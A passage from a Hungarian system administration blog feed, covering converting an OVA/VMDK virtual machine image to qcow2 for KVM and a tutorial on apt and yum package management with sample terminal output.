SmashTheTux.ova: POSIX tar archive &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;GNU&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Ebből látszik, hogy az OVA fájl, nem más mint egy &lt;code&gt;tar&lt;/code&gt; archív. Csomagoljuk szépen ki.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;# tar xfv SmashTheTux.ova &lt;/span&gt;
SmashTheTux.ovf
SmashTheTux-disk1.vmdk&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Most lássuk mi volt a csomagban.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;# file SmashTheTux*&lt;/span&gt;
SmashTheTux-disk1.vmdk: VMware4 disk image
SmashTheTux.ova:        POSIX tar archive &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;GNU&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
SmashTheTux.ovf:        XML document text&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Van egy &lt;code&gt;ovf&lt;/code&gt; fájl, ami xml formátumban írja le a virtuális gép beállításait. Ez most nem igazán érdekel minket, maximum annyira, hogy milyen 
paraméterei (CPU, MEM … stb) voltak az eredeti gépnek és ehhez mérten állítjuk be a KVM-be az új virtuális gépünket. Az érdekesebb igazából a &lt;code&gt;vmdk&lt;/code&gt; 
fájl. Ez a virtuális gép diszkje. A qemu-kvm már a 0.12-es verziótól támogatja natívan a VMware diszkeket, de én inkább a qcow2 formátumot ajánlom. 
Ehhez nem kell mást tenni, mint a &lt;code&gt;vmdk&lt;/code&gt; fájlból qcow2 formátumút kell készítenünk a következő utasítással.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;# qemu-img convert -O qcow2 SmashTheTux-disk1.vmdk SmashTheTux-disk1.qcow2&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;# file SmashTheTux-disk1.qcow2 &lt;/span&gt;
SmashTheTux-disk1.qcow2: QEMU QCOW Image &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;v3&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;, &lt;span class=&quot;m&quot;&gt;2147483648&lt;/span&gt; bytes&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;A VDI fájlokkat hasonlóképpen tudjuk qcow2 formátummá convertálni.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;# qemu-img convert -f vdi -O qcow2 vmdisk.vdi vmdisk.qcow2&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Ha elkészült a qcow2 fájl, akkor már csak be kell egy KVM virtuális gép alá csatolni és boot-olni róla.&lt;/p&gt;

</description>
        <pubDate>Sun, 20 Mar 2016 15:48:56 +0100</pubDate>
        <link>http://www.sysop.hu/blog/kvm/2016/03/20/OVA-importalassa-KVM-be/</link>
        <guid isPermaLink="true">http://www.sysop.hu/blog/kvm/2016/03/20/OVA-importalassa-KVM-be/</guid>
        
        
        <category>kvm</category>
        
      </item>
    
      <item>
        <title>Csomagkezelés Debian és Red Hat alapú rendszereken</title>
        <description>&lt;p&gt;Linux rendszereken a programok telepítése többféle módon történhet. Történhet úgy, hogy az előre lefordított programokat csak ki kell csomagolni, 
futtathatóvá tenni őket és kész. Ha úgy tetszik, akkor magunk fordíthatjuk és állíthatjuk be a programokat forráskódból. De a legelterjedtebb és 
legkényelmesebb módja a telepítéseknek, ha csomagkezelőt használunk. Ebben az esetben is kész, előre lefordított programot kapunk, de a telepítő 
csomagban benne van minden szükséges információ az adott programhoz. Alapértelmezett konfigurációs fájlok, dokumentációk, sőt még az is hogy milyen 
egyébb program csomagok szükségesek az adott program futtatásához és ezeket telepíti is vele. Több féle csomagformátum létezik a különböző 
disztibúciókban. A két legelterjedtebb a Debian féle &lt;code&gt;deb&lt;/code&gt; és a Red Hat féle &lt;code&gt;rpm&lt;/code&gt;. A csomagok beszerzése miatt sem kell aggódni, erre való a 
csomagkezelő. A csomagkezelő alapértelmezett beállításaiban megtalálhatóak a gyári hálózati tárolók, ahonnan biztonsággal telepíthetünk szinte 
bármilyen szükséges programot, de akár fel vehetünk harmadik fél által használt tárolókat is (de csak ha megbízunk a programok hitelességében). 
Bár a csomagformátumok különbözhetnek de a lényeg mindegyiknél ugyan az. Tudunk velük telepíteni, eltávolítani programokat, keresni a tárolókban, 
információt kérhetünk le adott csomagokról, függőségeikről stb. A deb és rpm csomagoknál is van alacsony (dpkg/rpm) és magas szintű (apt/yum) 
csomagkezelés. Az alacsony szintű csomagkezelést csak részben fogom érinteni, e leírásban inkább az APT (Advanced Packaging Tool) és a YUM (Yellowdog 
Updater Modifier) használatát mutatom be.&lt;/p&gt;

&lt;h2 id=&quot;csomag-listk-frisstse&quot;&gt;Csomag listák frissítése&lt;/h2&gt;

&lt;p&gt;Debian alapú rendszereken a csomag műveletek előtt ajánlatos a hálózati tárolók, helyben tárolt csomag adatait (cache) frissíteni.
Ezt az &lt;code&gt;apt-get update&lt;/code&gt; utasítással tehetjük meg.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;# apt-get update&lt;/span&gt;
Mellőz http://ftp.bme.hu jessie InRelease
Találat http://ftp.bme.hu jessie-updates InRelease
Találat http://security.debian.org jessie/updates InRelease
...
Találat http://security.debian.org jessie/updates/main Translation-en     
Találat http://ftp.bme.hu jessie/main Translation-en                      
Letöltve 1.748 B 4mp alatt &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;395&lt;/span&gt; B/s&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;              
Csomaglisták olvasása... Kész&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;A Red Hat alapú rendszereknél ilyen utasítás nincs, itt minden csomagművelet elött ezt a csomagkezelő megteszi.&lt;/p&gt;

&lt;h2 id=&quot;csomagok-frisstse&quot;&gt;Csomagok frissítése&lt;/h2&gt;

&lt;p&gt;Debian alapú rendszereknél, az &lt;code&gt;apt-get update&lt;/code&gt; után kiadott &lt;code&gt;apt-get upgrade&lt;/code&gt; megmutatja és felkínálja az elérhető csomag frissítéseket.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;# apt-get upgrade&lt;/span&gt;
Csomaglisták olvasása... Kész
Függőségi fa építése       
Állapotinformációk olvasása... Kész
Frissítés kiszámítása... Kész
Az alábbi csomagok frissítve lesznek:
  bind9-host dnsutils libbind9-90 libdns-export100 libdns100 libirs-export91 libisc-export95 libisc95 libisccc90 libisccfg-export90 libisccfg90 liblwres90
  libssl1.0.0 linux-image-3.16.0-4-686-pae perl perl-base perl-modules
&lt;span class=&quot;m&quot;&gt;17&lt;/span&gt; frissített, &lt;span class=&quot;m&quot;&gt;0&lt;/span&gt; újonnan telepített, &lt;span class=&quot;m&quot;&gt;0&lt;/span&gt; eltávolítandó és &lt;span class=&quot;m&quot;&gt;0&lt;/span&gt; nem frissített.
Letöltendő adatmennyiség: 43,5 MB.
A művelet után &lt;span class=&quot;m&quot;&gt;389&lt;/span&gt; kB lemezterület kerül felhasználásra.
Folytatni akarja? &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;I/n&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;A &lt;code&gt;-V&lt;/code&gt; kapcsolót használva, ellenőrizhetjük az elérhető frissítések verziószámait is.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;# apt-get upgrade -V&lt;/span&gt;
Csomaglisták olvasása... Kész
Függőségi fa építése       
Állapotinformációk olvasása... Kész
Frissítés kiszámítása... Kész
Az alábbi csomagok frissítve lesznek:
   bind9-host &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;9.9.5.dfsg-9+deb8u5 &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&amp;gt; 9.9.5.dfsg-9+deb8u6&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
   dnsutils &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;9.9.5.dfsg-9+deb8u5 &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&amp;gt; 9.9.5.dfsg-9+deb8u6&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
   libbind9-90 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;9.9.5.dfsg-9+deb8u5 &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&amp;gt; 9.9.5.dfsg-9+deb8u6&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
...
   perl &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;5.20.2-3+deb8u3 &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&amp;gt; 5.20.2-3+deb8u4&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
   perl-base &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;5.20.2-3+deb8u3 &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&amp;gt; 5.20.2-3+deb8u4&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
   perl-modules &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;5.20.2-3+deb8u3 &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&amp;gt; 5.20.2-3+deb8u4&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;m&quot;&gt;17&lt;/span&gt; frissített, &lt;span class=&quot;m&quot;&gt;0&lt;/span&gt; újonnan telepített, &lt;span class=&quot;m&quot;&gt;0&lt;/span&gt; eltávolítandó és &lt;span class=&quot;m&quot;&gt;0&lt;/span&gt; nem frissített.
Letöltendő adatmennyiség: 43,5 MB.
A művelet után &lt;span class=&quot;m&quot;&gt;389&lt;/span&gt; kB lemezterület kerül felhasználásra.
Folytatni akarja? &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;I/n&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Egy &lt;code&gt;-y&lt;/code&gt; kapcsolóval kikényszeríthetünk egy igenleges választ, a frissítés folytatására. Én nem használom, mivel szeretem átfutni a frissítések 
listáját mielött telepítem őket.&lt;/p&gt;

&lt;p&gt;Ha nem szeretnénk az összeset, csak egy vagy több adott csomagot frissíteni, akkor használjuk az adott csomagok nevét az utasításhoz pl. &lt;code&gt;apt-get 
upgrade dnsutils&lt;/code&gt;. Persze itt számolni kell azzal, hogy a függőségeket is frissíteni kell vele együtt, mert azok hiányában ez nem sikerülhet.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;# apt-get upgrade bind9-host -V&lt;/span&gt;
Csomaglisták olvasása... Kész
Függőségi fa építése       
Állapotinformációk olvasása... Kész
Frissítés kiszámítása... Néhány csomagot nem lehetett telepíteni. Ez azt jelentheti, hogy
egy lehetetlen állapotot kért, vagy ha az unstable disztribúciót
használja, akkor néhány igényelt csomag még nem készült el vagy ki
lett mozdítva az Incoming-ból.
Az alábbi információk segíthetnek megoldani a problémát:

Az alábbi csomagoknak teljesítetlen függőségei vannak:
 dnsutils : Függ ettől: libbind9-90 &lt;span class=&quot;o&quot;&gt;(=&lt;/span&gt; 1:9.9.5.dfsg-9+deb8u5&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; de csak 1:9.9.5.dfsg-9+deb8u6 telepíthető
            Függ ettől: libdns100 &lt;span class=&quot;o&quot;&gt;(=&lt;/span&gt; 1:9.9.5.dfsg-9+deb8u5&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; de csak 1:9.9.5.dfsg-9+deb8u6 telepíthető
            Függ ettől: libisc95 &lt;span class=&quot;o&quot;&gt;(=&lt;/span&gt; 1:9.9.5.dfsg-9+deb8u5&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; de csak 1:9.9.5.dfsg-9+deb8u6 telepíthető
            Függ ettől: libisccfg90 &lt;span class=&quot;o&quot;&gt;(=&lt;/span&gt; 1:9.9.5.dfsg-9+deb8u5&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; de csak 1:9.9.5.dfsg-9+deb8u6 telepíthető
            Függ ettől: liblwres90 &lt;span class=&quot;o&quot;&gt;(=&lt;/span&gt; 1:9.9.5.dfsg-9+deb8u5&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; de csak 1:9.9.5.dfsg-9+deb8u6 telepíthető
E: Törött csomagok&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;A másik utasítás amivel a rendszerünket frissíthetjük, az az &lt;code&gt;apt-get dist-upgrade&lt;/code&gt;. Ezt akkor használjuk, ha a disztribúció frissült pl. Debian 7-röl 
8-ra. A &lt;code&gt;dist-upgrade&lt;/code&gt; lefutása és a rendszer újraindítása után ajánlott egy &lt;code&gt;apt-get update&lt;/code&gt; és egy &lt;code&gt;apt-get upgrade&lt;/code&gt; lefuttatása is.&lt;/p&gt;

&lt;p&gt;Red Hat alapú rendszereknél a &lt;code&gt;yum check-update&lt;/code&gt; utasítással ellenőrizhetjük, hogy vannak-e elérhető frissítések a rendszerünkhöz. Ha van, akkor 
kapunk egy listát a csomagokról és azok verziójáról. Az utasítás visszatérési értéke 0 ha nincsenek és 100 ha vannak frissítések. Ez hasznos lehet 
ha szkriptben szeretnénk használni. A visszatérési értéket az &lt;code&gt;echo $?&lt;/code&gt; paranccsal kérhetjük le.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;# yum check-update&lt;/span&gt;
Betöltött bővítmények: fastestmirror
Loading mirror speeds from cached hostfile
 * base: ftp.freepark.org
 * extras: ftp.freepark.org
 * updates: ftp.freepark.org

avahi-autoipd.x86_64                      0.6.31-15.el7_2.1                 updates
avahi-libs.x86_64                         0.6.31-15.el7_2.1                 updates
&lt;span class=&quot;nb&quot;&gt;bind&lt;/span&gt;-libs-lite.x86_64                     32:9.9.4-29.el7_2.2               updates
...
systemd-sysv.x86_64                       219-19.el7_2.4                    updates
tuned.noarch                              2.5.1-4.el7_2.2                   updates
tzdata.noarch                             2016a-1.el7                       updates
&lt;span class=&quot;c&quot;&gt;# echo $?&lt;/span&gt;
100&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;A &lt;code&gt;yum update&lt;/code&gt; utasítással telepíthetjük az elérhető frissítéseket. Ha viszont csak pár csomagot szeretnénk frissíteni, akkor itt is szintén 
felsorolhatjuk az adott csomagok nevét a parancs végén.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;# yum update&lt;/span&gt;
Betöltött bővítmények: fastestmirror
Loading mirror speeds from cached hostfile
 * base: ftp.freepark.org
 * extras: ftp.freepark.org
 * updates: ftp.freepark.org
Függőségek megállapítása
--&amp;gt; Tranzakció ellenőrzés futtatása
---&amp;gt; A&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;z&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; avahi-autoipd.x86_64 0:0.6.31-15.el7 csomaggal a következő történik: frissítve
---&amp;gt; A&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;z&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; avahi-autoipd.x86_64 0:0.6.31-15.el7_2.1 csomaggal a következő történik: egy frissítés
---&amp;gt; A&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;z&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; avahi-libs.x86_64 0:0.6.31-15.el7 csomaggal a következő történik: frissítve
...
---&amp;gt; A&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;z&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; tuned.noarch 0:2.5.1-4.el7_2.2 csomaggal a következő történik: egy frissítés
---&amp;gt; A&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;z&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; tzdata.noarch 0:2015g-1.el7 csomaggal a következő történik: frissítve
---&amp;gt; A&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;z&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; tzdata.noarch 0:2016a-1.el7 csomaggal a következő történik: egy frissítés
--&amp;gt; A függőségvizsgálat véget ért

Függőségek Megtalálva

&lt;span class=&quot;o&quot;&gt;===========================================================================================================&lt;/span&gt;
 Package                          Arch            Verzió                            Tároló           Méret
&lt;span class=&quot;o&quot;&gt;===========================================================================================================&lt;/span&gt;
Telepítés:
 kernel                           x86_64          3.10.0-327.10.1.el7               updates           &lt;span class=&quot;m&quot;&gt;33&lt;/span&gt; M
Frissítés:
 avahi-autoipd                    x86_64          0.6.31-15.el7_2.1                 updates           &lt;span class=&quot;m&quot;&gt;39&lt;/span&gt; k
 avahi-libs                       x86_64          0.6.31-15.el7_2.1                 updates           &lt;span class=&quot;m&quot;&gt;61&lt;/span&gt; k
 &lt;span class=&quot;nb&quot;&gt;bind&lt;/span&gt;-libs-lite                   x86_64          32:9.9.4-29.el7_2.2               updates          &lt;span class=&quot;m&quot;&gt;724&lt;/span&gt; k
...
 systemd-sysv                     x86_64          219-19.el7_2.4                    updates           &lt;span class=&quot;m&quot;&gt;52&lt;/span&gt; k
 tuned                            noarch          2.5.1-4.el7_2.2                   updates          &lt;span class=&quot;m&quot;&gt;193&lt;/span&gt; k
 tzdata                           noarch          2016a-1.el7                       updates          &lt;span class=&quot;m&quot;&gt;431&lt;/span&gt; k

Tranzakció Összegzés
&lt;span class=&quot;o&quot;&gt;===========================================================================================================&lt;/span&gt;
Telepítés   &lt;span class=&quot;m&quot;&gt;1&lt;/span&gt; Package
Frissítés  &lt;span class=&quot;m&quot;&gt;46&lt;/span&gt; Packages

Teljes &lt;span class=&quot;nb&quot;&gt;let&lt;/span&gt;öltési méret: &lt;span class=&quot;m&quot;&gt;83&lt;/span&gt; M
Is this ok &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;y/d/N&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;:&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;És ha csak egy csomagot szeretnénk frissíteni…&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;# yum update tzdata&lt;/span&gt;
Betöltött bővítmények: fastestmirror
Loading mirror speeds from cached hostfile
 * base: ftp.freepark.org
 * extras: ftp.freepark.org
 * updates: ftp.freepark.org
Függőségek megállapítása
--&amp;gt; Tranzakció ellenőrzés futtatása
---&amp;gt; A&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;z&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; tzdata.noarch 0:2015g-1.el7 csomaggal a következő történik: frissítve
---&amp;gt; A&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;z&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; tzdata.noarch 0:2016a-1.el7 csomaggal a következő történik: egy frissítés
--&amp;gt; A függőségvizsgálat véget ért

Függőségek Megtalálva

&lt;span class=&quot;o&quot;&gt;===========================================================================================================&lt;/span&gt;
 Package                Arch                   Verzió                        Tároló                  Méret
&lt;span class=&quot;o&quot;&gt;===========================================================================================================&lt;/span&gt;
Frissítés:
 tzdata                 noarch                 2016a-1.el7                   updates                 &lt;span class=&quot;m&quot;&gt;431&lt;/span&gt; k

Tranzakció Összegzés
&lt;span class=&quot;o&quot;&gt;===========================================================================================================&lt;/span&gt;
Frissítés  &lt;span class=&quot;m&quot;&gt;1&lt;/span&gt; Package

Teljes &lt;span class=&quot;nb&quot;&gt;let&lt;/span&gt;öltési méret: &lt;span class=&quot;m&quot;&gt;431&lt;/span&gt; k
Is this ok &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;y/d/N&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;: y
Downloading packages:
Delta RPMs disabled because /usr/bin/applydeltarpm not installed.
warning: /var/cache/yum/x86_64/7/updates/packages/tzdata-2016a-1.el7.noarch.rpm: Header V3 RSA/SHA256 Signature, key ID f4a80eb5: NOKEY
A publikus kulcs nincs telepítve a következőhöz: tzdata-2016a-1.el7.noarch.rpm
tzdata-2016a-1.el7.noarch.rpm                                                       &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;431&lt;/span&gt; kB  00:00:00     
GPG kulcs beszerzése a következőből: file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-7
A&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;z&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; GPG kulcs importálása 0xF4A80EB5:
 Felhasználó: &lt;span class=&quot;s2&quot;&gt;&amp;quot;CentOS-7 Key (CentOS 7 Official Signing Key) &amp;lt;security@centos.org&amp;gt;&amp;quot;&lt;/span&gt;
 Ujjlenyomat: &lt;span class=&quot;m&quot;&gt;6341&lt;/span&gt; ab27 53d7 8a78 a7c2 7bb1 24c6 a8a7 f4a8 0eb5
 Csomag       : centos-release-7-2.1511.el7.centos.2.10.x86_64 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;@anaconda&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
 Származás  : /etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-7
Ez így jó? &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;y/N&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;:y
Running transaction check
Running transaction &lt;span class=&quot;nb&quot;&gt;test&lt;/span&gt;
Transaction &lt;span class=&quot;nb&quot;&gt;test &lt;/span&gt;succeeded
Running transaction
  Frissítés     : tzdata-2016a-1.el7.noarch                                                            1/2 
  Tisztítás     : tzdata-2015g-1.el7.noarch                                                            2/2 
  Ellenőrzés    : tzdata-2016a-1.el7.noarch                                                            1/2 
  Ellenőrzés    : tzdata-2015g-1.el7.noarch                                                            2/2 

Frissítve:
  tzdata.noarch 0:2016a-1.el7                                                                              

Kész!&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Mint láthatjuk, a telepítő jelzi, hogy a &lt;code&gt;CentOS-7 Key (CentOS 7 Official Signing Key)&lt;/code&gt; még nincs telepítve, így ezt most megtehetjük. De mielött 
megtesszük, ellenőrizzük a &lt;a href=&quot;https://www.centos.org/keys/&quot;&gt;CentOS weboldalán(link)&lt;/a&gt; hogy a kulcs új-lenyomata egyezzen. Mivel a kulcs rendben van, így bekerült a GPG 
kulcsok közé a &lt;code&gt;/etc/pki/rpm-gpg&lt;/code&gt; mappába és a csomagkezelő most már innen használja.&lt;/p&gt;

&lt;p&gt;Red Hat alapú rendszereknél a &lt;code&gt;dist-upgrade&lt;/code&gt; megfelelője a &lt;code&gt;yum upgrade&lt;/code&gt;. Mindkét rendszernél (Debian és Red Hat alapúaknál) ha a kernel frissül 
akkor szükséges egy újraindítás, hogy a friss kernel használatba kerüljön.&lt;/p&gt;

&lt;h2 id=&quot;csomagok-keresse&quot;&gt;Csomagok keresése&lt;/h2&gt;

&lt;p&gt;Debian alapú rendszereken ha keresni akarunk az elérhető csomagok között, akkor ezt az &lt;code&gt;apt-cache search&lt;/code&gt; utasítással tehetjük meg. Persze ne 
felejtsük el előtte az &lt;code&gt;apt-get update&lt;/code&gt;-el frissíteni a csomag listát.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;# apt-cache search htop&lt;/span&gt;
aha - ANSI color to HTML converter
htop - interactive processes viewer
libauthen-oath-perl - Perl module &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; OATH One Time Passwords&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Red Hat alapú rendszereken ez hasonlóan történik a &lt;code&gt;yum search&lt;/code&gt;-el.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;# yum search nano&lt;/span&gt;
Betöltött bővítmények: fastestmirror
Loading mirror speeds from cached hostfile
 * base: ftp.freepark.org
 * extras: ftp.freepark.org
 * updates: ftp.freepark.org
&lt;span class=&quot;o&quot;&gt;================================&lt;/span&gt; N/S matched: &lt;span class=&quot;nv&quot;&gt;nano&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;================================&lt;/span&gt;
nano.x86_64 : A small text editor

 Csak a név és a leírás egyezik, használja a &lt;span class=&quot;s2&quot;&gt;&amp;quot;search all&amp;quot;&lt;/span&gt; parancsot továbbiak kereséséhez.&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2 id=&quot;csomagok-teleptse&quot;&gt;Csomagok telepítése&lt;/h2&gt;

&lt;p&gt;Ha meg találtuk a keresett csomagot, akkor telepíthetjük is az &lt;code&gt;apt-get install&lt;/code&gt;-al. Az esetleges törött függőségeket az &lt;code&gt;apt-get -f install&lt;/code&gt; 
utasítással tudjuk javítani.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;# apt-get install htop -V&lt;/span&gt;
Csomaglisták olvasása... Kész
Függőségi fa építése       
Állapotinformációk olvasása... Kész
Javasolt csomagok:
   strace &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;4.9-2&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
   ltrace &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;0.7.3-4&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
Az alábbi ÚJ csomagok lesznek telepítve:
   htop &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;1.0.3-1&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;m&quot;&gt;0&lt;/span&gt; frissített, &lt;span class=&quot;m&quot;&gt;1&lt;/span&gt; újonnan telepített, &lt;span class=&quot;m&quot;&gt;0&lt;/span&gt; eltávolítandó és &lt;span class=&quot;m&quot;&gt;0&lt;/span&gt; nem frissített.
Letöltendő adatmennyiség: 74,0 kB.
A művelet után &lt;span class=&quot;m&quot;&gt;205&lt;/span&gt; kB lemezterület kerül felhasználásra.
Letöltés:1 http://ftp.bme.hu/debian/ jessie/main htop i386 1.0.3-1 &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;74,0 kB&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;
Letöltve 74,0 kB 0mp alatt &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;287&lt;/span&gt; kB/s&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
A korábban ki nem választott htop csomag kiválasztása.
&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;Adatbázis olvasása ... &lt;span class=&quot;m&quot;&gt;21201&lt;/span&gt; fájl és könyvtár van jelenleg telepítve.&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
Kibontás előkészítése: .../archives/htop_1.0.3-1_i386.deb ...
Kibontás: htop &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;1.0.3-1&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; ...
Aktiválók feldolgozása: man-db &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;2.7.0.2-5&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; ...
Beállítás: htop &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;1.0.3-1&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; ...&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Illetve Red Hat alapú rendszereken &lt;code&gt;yum install&lt;/code&gt;-al.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;# yum install nano&lt;/span&gt;
Betöltött bővítmények: fastestmirror
Loading mirror speeds from cached hostfile
 * base: ftp.freepark.org
